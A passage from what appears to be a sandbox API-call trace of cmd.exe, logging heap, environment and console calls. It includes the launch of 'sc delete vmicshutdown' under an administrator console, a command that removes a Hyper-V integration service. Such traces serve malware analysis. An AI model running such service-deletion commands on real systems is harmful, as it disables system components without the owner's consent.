fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0067.448] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0067.448] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0067.448] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0067.448] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.448] GetProcessHeap () returned 0x4a0000 [0067.448] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4bc5b0 [0067.448] GetConsoleTitleW (in: lpConsoleTitle=0x4bc5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.449] GetProcessHeap () returned 0x4a0000 [0067.449] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc5b0, Size=0xa6) returned 0x4bc5b0 [0067.449] GetProcessHeap () returned 0x4a0000 [0067.449] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc5b0) returned 0xa6 [0067.449] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete vmicshutdown") returned 1 [0067.449] GetProcessHeap () returned 0x4a0000 [0067.449] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc5b0 | out: hHeap=0x4a0000) returned 1 [0067.449] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0067.449] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0067.449] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0067.449] GetProcessHeap () returned 0x4a0000 [0067.450] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0067.450] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0067.450] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0067.450] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0067.450] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0067.450] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0067.450] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0067.450] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0067.450] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0067.450] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0067.450] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0067.450] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0067.450] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0067.450] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0067.450] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0067.450] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0067.450] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0067.450] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0067.451] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0067.451] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0067.451] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0067.451] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0067.451] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0067.451] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0067.451] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0067.451] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0067.451] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0067.451] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0067.451] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0067.451] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0067.451] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0067.451] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0067.451] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0067.451] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0067.451] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0067.451] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0067.451] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0067.451] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0067.451] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0067.451] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0067.451] GetProcessHeap () returned 0x4a0000 [0067.451] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0067.451] GetProcessHeap () returned 0x4a0000 [0067.451] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b98a0 [0067.451] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete vmicshutdown", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete vmicshutdown", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete vmicshutdown", lpProcessInformation=0x2cecc0*(hProcess=0x54, hThread=0x50, dwProcessId=0x620, dwThreadId=0x648)) returned 1 [0067.455] CloseHandle (hObject=0x50) returned 1 [0067.455] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0067.455] GetProcessHeap () returned 0x4a0000 [0067.455] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0067.455] GetEnvironmentStringsW () returned 0x4bba10* [0067.456] GetProcessHeap () returned 0x4a0000 [0067.456] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4b8980 [0067.456] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0067.456] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0067.456] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffda000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0067.456] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0067.768] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0067.768] CloseHandle (hObject=0x54) returned 1 [0067.769] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0067.769] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0067.769] GetProcessHeap () returned 0x4a0000 [0067.769] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b8980 | out: hHeap=0x4a0000) returned 1 [0067.769] GetEnvironmentStringsW () returned 0x4bba10* [0067.769] GetProcessHeap () returned 0x4a0000 [0067.769] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4b8980 [0067.769] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0067.769] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0067.769] GetProcessHeap () returned 0x4a0000 [0067.769] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b8980 | out: hHeap=0x4a0000) returned 1 [0067.769] GetEnvironmentStringsW () returned 0x4bba10* [0067.769] GetProcessHeap () returned 0x4a0000 [0067.769] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4b8980 [0067.769] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0067.769] GetProcessHeap () returned 0x4a0000 [0067.769] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b98a0 | out: hHeap=0x4a0000) returned 1 [0067.769] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0067.769] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0067.770] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.770] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0067.770] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.770] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0067.770] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.770] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0067.770] GetConsoleOutputCP () returned 0x1b5 [0067.771] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0067.771] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.771] GetProcessHeap () returned 0x4a0000 [0067.771] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0067.771] GetProcessHeap () returned 0x4a0000 [0067.771] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0067.771] GetProcessHeap () returned 0x4a0000 [0067.771] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9db0 | out: hHeap=0x4a0000) returned 1 [0067.771] GetProcessHeap () returned 0x4a0000 [0067.771] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc530 | out: hHeap=0x4a0000) returned 1 [0067.771] GetProcessHeap () returned 0x4a0000 [0067.771] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa90 | out: hHeap=0x4a0000) returned 1 [0067.771] GetProcessHeap () returned 0x4a0000 [0067.771] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0067.771] GetProcessHeap () returned 0x4a0000 [0067.771] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa40 | out: hHeap=0x4a0000) returned 1 [0067.771] GetProcessHeap () returned 0x4a0000 [0067.771] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b8900 | out: hHeap=0x4a0000) returned 1 [0067.771] GetProcessHeap () returned 0x4a0000 [0067.771] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b97e0 | out: hHeap=0x4a0000) returned 1 [0067.771] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0067.771] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.771] GetFileType (hFile=0x120) returned 0x3 [0067.772] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.772] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0067.772] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0067.772] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0067.772] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0067.772] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0067.772] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0067.772] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.772] GetFileType (hFile=0x120) returned 0x3 [0067.772] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.772] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0067.772] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0067.772] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.772] GetFileType (hFile=0xb8) returned 0x3 [0067.772] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.772] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.773] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.773] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete vmicshutdown\nrface\n") returned 1 [0067.773] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.773] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.773] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.773] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete vmicshutdown\nrface\n") returned 1 [0067.773] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.773] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.773] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.773] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete vmicshutdown\nrface\n") returned 1 [0067.773] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.773] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.773] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.773] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete vmicshutdown\nrface\n") returned 1 [0067.773] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.773] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.773] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.773] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete vmicshutdown\nrface\n") returned 1 [0067.773] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.773] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.774] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.774] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete vmicshutdown\nrface\n") returned 1 [0067.774] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.774] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.774] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.774] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete vmicshutdown\nrface\n") returned 1 [0067.774] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.774] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.774] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.774] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te vmicshutdown\nrface\n") returned 1 [0067.774] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.774] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.774] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.774] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e vmicshutdown\nrface\n") returned 1 [0067.774] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.774] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.774] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.774] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" vmicshutdown\nrface\n") returned 1 [0067.774] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.774] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.774] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.775] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="vmicshutdown\nrface\n") returned 1 [0067.775] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.775] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.775] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.775] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="micshutdown\nrface\n") returned 1 [0067.775] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.775] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.775] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.775] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="icshutdown\nrface\n") returned 1 [0067.775] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.775] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.775] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.775] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="cshutdown\nrface\n") returned 1 [0067.775] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.775] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.775] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.775] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="hhutdown\nrface\n") returned 1 [0067.775] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.775] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.775] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.776] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="eutdown\nrface\n") returned 1 [0067.776] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.776] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.776] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, 